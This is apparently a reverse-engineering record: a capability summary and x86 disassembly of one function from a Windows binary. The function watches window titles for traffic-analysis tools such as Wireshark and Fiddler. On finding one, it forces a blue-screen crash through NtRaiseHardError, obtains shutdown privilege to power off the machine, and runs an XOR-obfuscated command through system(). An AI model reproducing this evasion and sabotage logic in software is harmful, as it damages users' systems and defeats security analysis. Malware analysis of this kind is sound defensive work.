Function at 0x41fac0
Capabilities:
Execute command
Get graphical window text
Shutdown system
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x74496c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_WindowFromPoint]
push esi
push edi
xor edi, edi
xor esi, esi
push edi
push esi
call ebx
push 0x80
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edx, [ebp - 0x108]
push str.NetLimiter
push edx
call sub.MSVCR90.dll_strstr
add esp, 8
test eax, eax
jne 0x41fc12
lea eax, [ebp - 0x108]
push str.HTTP_Debugger
push eax
call sub.MSVCR90.dll_strstr
add esp, 8
test eax, eax
jne 0x41fc12
lea ecx, [ebp - 0x108]
push str.Fiddler
push ecx
call sub.MSVCR90.dll_strstr
add esp, 8
test eax, eax
jne 0x41fc12
lea edx, [ebp - 0x108]
push str.WireShark
push edx
call sub.MSVCR90.dll_strstr
add esp, 8
test eax, eax
jne 0x41fc12
lea eax, [ebp - 0x108]
push str.Wireshark
push eax
call sub.MSVCR90.dll_strstr
add esp, 8
test eax, eax
jne 0x41fc12
lea ecx, [ebp - 0x108]
push str.Netlimitter
push ecx
call sub.MSVCR90.dll_strstr
add esp, 8
test eax, eax
jne 0x41fc12
lea edx, [ebp - 0x108]
push str.Charles
push edx
call sub.MSVCR90.dll_strstr
add esp, 8
test eax, eax
jne 0x41fc12
lea eax, [ebp - 0x108]
push str.The_Ribbon
push eax
call sub.MSVCR90.dll_strstr
add esp, 8
test eax, eax
jne 0x41fc12
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
add esi, 0x14
cmp esi, 0x7d0
jl 0x41fae0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
add edi, 0x14
cmp edi, 0x7d0
jl 0x41fade
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005ff0f4
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x6c6294
push 0x6c62a0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
cmp byte [eax + 6], 0xea
jne 0x41fc3b
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.RtlAdjustPrivilege
push 0x6c61c4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call esi
push str.NtRaiseHardError
push 0x6c61c4
mov edi, eax
call ebx
push eax
call esi
lea ecx, [ebp - 0x109]
push ecx
push 0
push 1
push 0x13
mov esi, eax
call edi
lea edx, [ebp - 0x110]
push edx
push 6
push 0
push 0
push 0
push 0xc00002b4
call esi
lea eax, [ebp - 0x110]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x41fcfb
lea ecx, [ebp - 0x11c]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x110]
push 0
push 0
push 0
lea edx, [ebp - 0x120]
push edx
push 0
push eax
mov dword [ebp - 0x120], 1
mov dword [ebp - 0x114], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x41fcfb
push 0x80020003
push 5
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov ecx, 0x1c
xor eax, eax
mov dl, byte [eax + str.hmtKHNO]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x12c], dl
jns 0x41fd22
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1b
jl 0x41fd02
lea eax, [ebp - 0x12c]
push eax
mov byte [ebp - 0x111], 0
call sub.MSVCR90.dll_system
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]